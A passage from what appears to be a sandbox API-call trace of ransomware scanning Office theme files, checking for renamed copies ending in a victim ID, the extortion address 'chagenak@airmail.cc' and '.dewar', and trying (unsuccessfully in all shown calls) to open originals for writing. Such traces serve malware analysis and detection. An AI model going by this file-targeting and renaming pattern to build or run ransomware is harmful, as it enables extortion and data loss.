lpFileSize=0x2eefea0*=91861) returned 1 [0241.379] CloseHandle (hObject=0x1e0) returned 1 [0241.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm")) returned 0x20 [0241.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm")) returned 0x20 [0241.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.386] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=500) returned 1 [0241.386] CloseHandle (hObject=0x1e0) returned 1 [0241.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf")) returned 0x20 [0241.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf")) returned 0x20 [0241.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.388] SetEvent (hEvent=0x118) returned 1 [0241.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.389] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2574) returned 1 [0241.389] CloseHandle (hObject=0x1e0) returned 1 [0241.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0241.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0241.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.391] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=37440) returned 1 [0241.391] CloseHandle (hObject=0x1e0) returned 1 [0241.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0241.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0241.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.392] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=53477) returned 1 [0241.392] CloseHandle (hObject=0x1e0) returned 1 [0241.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm")) returned 0x20 [0241.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm")) returned 0x20 [0241.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.394] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=539) returned 1 [0241.394] CloseHandle (hObject=0x1e0) returned 1 [0241.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf")) returned 0x20 [0241.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf")) returned 0x20 [0241.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.396] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1593) returned 1 [0241.396] CloseHandle (hObject=0x1e0) returned 1 [0241.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0241.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0241.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.401] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=21745) returned 1 [0241.401] CloseHandle (hObject=0x1e0) returned 1 [0241.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0241.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0241.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.402] SetEvent (hEvent=0x118) returned 1 [0241.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.404] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1339) returned 1 [0241.404] CloseHandle (hObject=0x1e0) returned 1 [0241.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0241.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0241.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0241.592] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=45582) returned 1 [0241.592] CloseHandle (hObject=0x1ec) returned 1 [0241.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm")) returned 0x20 [0241.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm")) returned 0x20 [0241.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.593] SetEvent (hEvent=0x118) returned 1 [0241.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0241.594] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=16738) returned 1 [0241.594] CloseHandle (hObject=0x1ec) returned 1 [0241.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0241.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0241.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.719] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1439) returned 1 [0241.719] CloseHandle (hObject=0x1b0) returned 1 [0241.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0241.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0241.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.720] SetEvent (hEvent=0x118) returned 1 [0241.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.723] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=600) returned 1 [0241.723] CloseHandle (hObject=0x1b0) returned 1 [0241.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf")) returned 0x20 [0241.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf")) returned 0x20 [0241.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.724] SetEvent (hEvent=0x118) returned 1 [0241.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.725] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=37112) returned 1 [0241.726] CloseHandle (hObject=0x1b0) returned 1 [0241.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0241.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0241.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.730] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1666) returned 1 [0241.730] CloseHandle (hObject=0x1b0) returned 1 [0241.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0241.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0241.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.732] SetEvent (hEvent=0x118) returned 1 [0241.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0241.732] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=46942) returned 1 [0241.732] CloseHandle (hObject=0x1b0) returned 1 [0241.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft 